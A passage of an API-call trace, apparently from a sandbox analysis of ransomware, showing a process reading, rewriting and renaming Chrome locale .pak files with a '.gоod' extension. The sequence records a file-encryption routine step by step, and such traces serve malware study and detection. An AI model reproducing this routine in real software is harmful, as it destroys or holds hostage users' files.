lpFilePart=0x0) returned 0x51 [0108.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0108.088] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fr.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3ca2b8fb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4b9b5)) returned 1 [0108.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0108.088] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fr.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fr.pak.gоod")) returned 1 [0108.089] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak", lpFilePart=0x0) returned 0x4c [0108.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0108.089] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\gu.pak"), fInfoLevelId=0x0, lpFileInformation=0x34f36b0 | out: lpFileInformation=0x34f36b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x519e2a14, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x8d4aa)) returned 1 [0108.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0108.089] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak", lpFilePart=0x0) returned 0x4c [0108.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0108.089] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\gu.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0108.089] GetFileType (hFile=0x768) returned 0x1 [0108.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0108.090] GetFileType (hFile=0x768) returned 0x1 [0108.090] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0108.090] ReadFile (in: hFile=0x768, lpBuffer=0x34f3ac8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x34f3ac8*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0108.628] CloseHandle (hObject=0x768) returned 1 [0108.628] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak", lpFilePart=0x0) returned 0x4c [0108.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0108.628] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\gu.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0108.628] GetFileType (hFile=0x768) returned 0x1 [0108.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0108.628] GetFileType (hFile=0x768) returned 0x1 [0108.628] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x8d4aa [0108.629] WriteFile (in: hFile=0x768, lpBuffer=0x365abf8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x365abf8*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0108.630] CloseHandle (hObject=0x768) returned 1 [0108.630] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak", lpFilePart=0x0) returned 0x4c [0108.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0108.630] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\gu.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0108.630] GetFileType (hFile=0x768) returned 0x1 [0108.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0108.630] GetFileType (hFile=0x768) returned 0x1 [0108.630] ReadFile (in: hFile=0x768, lpBuffer=0x365e020, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x365e020*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0108.847] CloseHandle (hObject=0x768) returned 1 [0108.848] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak", lpFilePart=0x0) returned 0x4c [0108.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0108.848] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\gu.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0108.848] GetFileType (hFile=0x768) returned 0x1 [0108.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0108.848] GetFileType (hFile=0x768) returned 0x1 [0108.848] WriteFile (in: hFile=0x768, lpBuffer=0x32b6298*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x32b6298*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0108.848] CloseHandle (hObject=0x768) returned 1 [0108.848] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak", lpFilePart=0x0) returned 0x4c [0108.848] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak.gоod", lpFilePart=0x0) returned 0x51 [0108.849] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0108.849] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\gu.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3d186774, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8d4ba)) returned 1 [0108.849] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0108.849] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\gu.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\gu.pak.gоod")) returned 1 [0108.850] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak", lpFilePart=0x0) returned 0x4c [0108.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0108.850] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\he.pak"), fInfoLevelId=0x0, lpFileInformation=0x32fac78 | out: lpFileInformation=0x32fac78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51a025e4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x53398)) returned 1 [0108.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0108.851] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak", lpFilePart=0x0) returned 0x4c [0108.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0108.851] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\he.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0108.851] GetFileType (hFile=0x768) returned 0x1 [0108.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0108.851] GetFileType (hFile=0x768) returned 0x1 [0108.851] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0108.851] ReadFile (in: hFile=0x768, lpBuffer=0x32fb090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x32fb090*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0108.854] CloseHandle (hObject=0x768) returned 1 [0108.854] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak", lpFilePart=0x0) returned 0x4c [0108.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0108.854] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\he.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0108.854] GetFileType (hFile=0x768) returned 0x1 [0108.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0108.854] GetFileType (hFile=0x768) returned 0x1 [0108.854] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x53398 [0108.855] WriteFile (in: hFile=0x768, lpBuffer=0x32fc4c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x32fc4c8*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0108.856] CloseHandle (hObject=0x768) returned 1 [0108.856] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak", lpFilePart=0x0) returned 0x4c [0108.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0108.856] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\he.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0108.856] GetFileType (hFile=0x768) returned 0x1 [0108.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0108.856] GetFileType (hFile=0x768) returned 0x1 [0108.857] ReadFile (in: hFile=0x768, lpBuffer=0x32fe788, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x32fe788*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0110.023] CloseHandle (hObject=0x768) returned 1 [0110.023] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak", lpFilePart=0x0) returned 0x4c [0110.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0110.023] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\he.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0110.023] GetFileType (hFile=0x768) returned 0x1 [0110.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0110.024] GetFileType (hFile=0x768) returned 0x1 [0110.024] WriteFile (in: hFile=0x768, lpBuffer=0x32bce18*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x32bce18*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0110.024] CloseHandle (hObject=0x768) returned 1 [0110.024] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak", lpFilePart=0x0) returned 0x4c [0110.024] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak.gоod", lpFilePart=0x0) returned 0x51 [0110.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0110.024] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\he.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3dcbdb64, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x533a8)) returned 1 [0110.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0110.024] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\he.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\he.pak.gоod")) returned 1 [0110.025] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak", lpFilePart=0x0) returned 0x4c [0110.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0110.025] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hi.pak"), fInfoLevelId=0x0, lpFileInformation=0x3568be8 | out: lpFileInformation=0x3568be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51a26fd4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x9114d)) returned 1 [0110.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0110.026] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak", lpFilePart=0x0) returned 0x4c [0110.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0110.026] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hi.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0110.026] GetFileType (hFile=0x768) returned 0x1 [0110.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0110.026] GetFileType (hFile=0x768) returned 0x1 [0110.026] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0110.026] ReadFile (in: hFile=0x768, lpBuffer=0x356a518, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x356a518*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0110.030] CloseHandle (hObject=0x768) returned 1 [0110.030] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak", lpFilePart=0x0) returned 0x4c [0110.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0110.031] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hi.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0110.031] GetFileType (hFile=0x768) returned 0x1 [0110.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0110.031] GetFileType (hFile=0x768) returned 0x1 [0110.031] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x9114d [0110.031] WriteFile (in: hFile=0x768, lpBuffer=0x3570e18*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x3570e18*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0110.032] CloseHandle (hObject=0x768) returned 1 [0110.033] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak", lpFilePart=0x0) returned 0x4c [0110.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0110.033] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hi.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0110.033] GetFileType (hFile=0x768) returned 0x1 [0110.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0110.033] GetFileType (hFile=0x768) returned 0x1 [0110.033] ReadFile (in: hFile=0x768, lpBuffer=0x35730d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x35730d8*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0110.299] CloseHandle (hObject=0x768) returned 1 [0110.299] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak", lpFilePart=0x0) returned 0x4c [0110.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0110.299] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hi.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0110.299] GetFileType (hFile=0x768) returned 0x1 [0110.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0110.299] GetFileType (hFile=0x768) returned 0x1 [0110.299] WriteFile (in: hFile=0x768, lpBuffer=0x334f938*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x334f938*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0110.299] CloseHandle (hObject=0x768) returned 1 [0110.299] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak", lpFilePart=0x0) returned 0x4c [0110.299] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak.gоod", lpFilePart=0x0) returned 0x51 [0110.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0110.300] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hi.pak"), fInfoLevelId=0x0, 